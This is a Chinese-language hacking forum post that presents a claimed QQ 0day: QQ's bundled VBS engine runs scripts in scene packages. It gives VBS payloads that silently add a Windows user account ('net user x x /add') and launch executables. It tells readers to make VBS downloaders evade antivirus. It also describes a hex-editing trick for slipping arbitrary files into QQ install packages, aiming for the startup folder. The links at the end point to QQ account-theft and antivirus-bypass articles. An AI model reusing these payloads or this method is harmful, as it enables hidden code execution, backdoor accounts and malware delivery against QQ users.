|
[推荐]QQ 0day漏洞工具利用
但是这个VBS脚本不是用winds下的vbs.dll解析的，而是用的QQ自己目录下的一个vbs*.dll文件解析的。VBS能做什么，大家比我再清楚不过了，VBS下载者，执行，病毒。功能强大。加用户什么的都是轻而易举。这里给几个VBS脚本出来，大家如果对这个漏洞还有兴趣，可以自己去测试测试，
add user:
| 以下是引用片段： dim objshell set objshell = wscript.createOBject("wscript.shell") iReturn = objshell.Run("net user x x /add",0,TRUE) |
run dos exe:
| 以下是引用片段： dim ws Set ws = WScript.CreateObject("WScript.Shell") iReturn = ws.Run("test.exe",0,TRUE) |
run gui exe:
| 以下是引用片段： dim wsh dim Js1 Js1 ="t1est.exe" set wsh=WScript.CreateObject("WScript.Shell") wsh.Run(Js1) |
还有如果用VBS下载着记得免杀，因为测试的时候被杀，所以后来才去研究传任意文件。那么如何传任意文件，下面介绍的这个方法在我们测试期间都成功过，但是今天测试的时候貌似不成功。方法写出来。
这个方法也是在研究swf的时候发现的，因为制作场景不支持添加swf文件。后来就想办法。先制作QQ安装包，里面添加音乐。那音乐就是swf改后缀的文件。添加后再生成包。再用UE或者别的16进制编辑的。查找里面mp3后缀，改掉就成了。这个地方也许还有研究，就是他生成的文件为什么一定在QQ的 IMScene\Scene\这个目录呢，如果在这里就能改变他的路径，直接写到启动里面不就OK了，关于这个我没测试成功，还等待各位牛人发现。再次申明这个传任意文件的这个漏洞貌似TX已经封了，不是很清楚，也许今天测试掉了步骤。关于这个漏洞大家有什么看法，或者新的想法，可以跟帖，欢迎一起测试。
| 如何绕过《QQ医生》的查杀 | 12-26 |
| QQ盗号软件后门分析与反击 | 10-26 |
| 防止QQ密码被破解 让你安心上QQ | 10-15 |
| 你的QQ号和Q币是如何被盗的！ | 10-15 |
| QQ也来玩0day漏洞(杂志版带执行) | 09-01 |
| QQ积分游戏漏洞！80个积分就能做 | 08-27 |
| QQ 0day漏洞工具利用 | 08-17 |
| QQ所有文件和目录详细分析 | 07-02 |
| 选个好密码 黑客窃取QQ常用密码排 | 07-02 |
| 腾讯QQ聊天窗口漏洞安全测试报告 | 06-18 |
| 如何准确识别QQ盗号两大陷阱 | 06-05 |
| 如何禁止他人上QQ!! | 06-02 |
您现在的位置：